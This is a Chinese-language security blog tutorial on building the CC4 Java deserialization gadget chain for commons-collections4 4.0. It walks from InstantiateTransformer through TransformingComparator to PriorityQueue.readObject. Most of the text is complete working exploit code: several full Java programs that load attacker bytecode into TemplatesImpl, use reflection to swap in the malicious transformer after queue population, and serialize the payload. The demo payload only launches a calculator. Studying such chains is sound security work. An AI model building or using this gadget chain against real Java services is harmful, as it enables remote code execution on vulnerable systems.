Java反序列化Commons-Collections篇06-CC4链
Drunkbaby Lv6

CC4链

Java 反序列化 Commons-Collections 篇 06 CC4 链

0x01 前言

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。

0x02 环境

先说一下 jdk 这个环境,理论上只有 CC1 和 CC3 链受到 jdk 版本影响。为了避免踩坑,我还是用的 jdk8u65 的版本。

Maven 下载 Commons-Collections 依赖。

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

0x03 CC4 链分析

因为还是 CC 链的漏洞,所以一般是与 transform 分不开的。

  • 从尾部向首部分析,尾部命令执行的方式就两种,反射或是动态加载字节码。因为 CC4 链上只是去掉了 InvokerTransformer 的 Serializable 继承,所以最后的命令执行不受影响。

既然 InvokerTransformer 这里用不了了,我们去找谁调用了 transform() 方法,这里我去找的是 InstantiateTransformer 类,因为它上一步是 InvokerTransformer。

进行 find usages,在 TransformingComparator 这个类中的 compare() 方法调用了 transform() 方法。而 compare() 这个方法也是我们比较喜欢的这种,因为它非常常见。

这就是一条新的链子了,我们继续往前找,发现是 PriorityQueue 这个类中的 siftDownUsingComparator() 方法调用了之前的 compare() 方法。

接着在一步步往上找,发现在同一个类中进行的调用,按照顺序应该是这样的,最终是由 PriorityQueue.readObject() 开头。

至此,链子已经分析完毕,接下来逐步编写 EXP。

0x04 CC4 链逐步 EXP 编写

1. EXP 编写

  • 我们先编写一个 InstantiateTransformer.transform() 的 EXP。

这是动态加载字节码的方式进行命令执行,和上一篇文章的 EXP 一样通过反射修改值,然后执行 transform() 方法。至于 EXP 的编写这里就不细扯了,有需要可以移步至此 Java反序列化Commons-Collections篇04-CC3链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

// 构造 InstantiateTransformer.transform 的 EXPpublic class TransformOriEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});

instantiateTransformer.transform(TrAXFilter.class);
}
}
  • 代码测试成功,准备进行下一步 EXP 的编写。

下一步是 TransformingComparator 类的 compare() 方法的调用,因为它的可序列化的,所以我们或许可以通过反射修改其调用 compare() 方法的值。

  • 这里 compare() 要求我们传入两个对象?这里我尝试失败了,发现 transformingComparator.compare() 如何传参都无法达到弹计算器的效果。说明不应该是在这里弹计算器,应该是下一步的 PriorityQueue.siftUpUsingComparator() 来执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

// TransformingComparator.compare 的 EXPpublic class ComparatorEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
  • 从根本上来看,没问题啊!我不知道为啥又不能弹计算器了,下个断点看看吧。

断点位置:PriorityQueue 的 736 行 siftDown() 代码,以及 795 行的 heapify() 代码。Debug 一下。

发现在 735 行的时候跳出程序了,原因是这一段 size >>> 1>>> 是移位运算符。

1
value >>> num     --   num 指定要移位值 value 移动的位数

具体的算法可以先不搞懂,我们点击 Evaluate Expression,将 size 的值进行替换,知道 size 等于 1 时,才算成功。

  • 当我们将 Size 的值修改成 2 的时候,得到 Result 为 1,是可以进入循环的,所以现在我们要想办法将 Size 的值变成 2。

要修改 Size,必然要先明白 Size 是什么,Size 就是 PriorityQueue 这个队列的长度,简单理解,就是数组的长度。现在我们这个数组的长度为 0,0 - 1 = -1,所以会直接跳出循环,不能弹计算器。

通过此语句加上即可。

1
2
priorityQueue.add(1);  
priorityQueue.add(2);
  • 最终的 EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

// TransformingComparator.compare 的 EXPpublic class ComparatorEXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

2. Debug 解决问题

虽然可以成功弹计算器,但是现在我们写的这个 EXP 还是会报错的,报错原因如下:

在我们进行 priorityQueue.add(1) 这个语句的时候,它内部会自动进行 compare() 方法的执行,然后调用 transform(),我把图贴出来。

现在的这种情况就意味着,我还没有开始序列化与反序列化,代码就跳到弹计算器那里去了,但是由于 _tfactory 为 null,导致报错。

还记得我们在 CC3 链里面讲的那个 _tfactory 的值吗?

当时我们是写的这段 EXP

1
2
3
4
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
  • 我在跑代码的时候把最后一行给注释掉了,所以才会出错。_tfactory 是在反序列化的时候才会加进来的,所以加上就不报错了。不过删掉也无所谓,因为我们本来就不想让其本地执行。

3. 进一步修改 EXP

因为我们不需要让代码进行本地执行,所以我们可以先让 transformingComparator 的值成为一个无关的对象,在 add 完之后再用反射修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

// 最终 EXP 版本
public class CC4EXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

0x05 小结

在学完前面三种 CC 链之后,学 CC4 链确实是如鱼得水,最后我们还是要写个流程图复盘一下。

 评论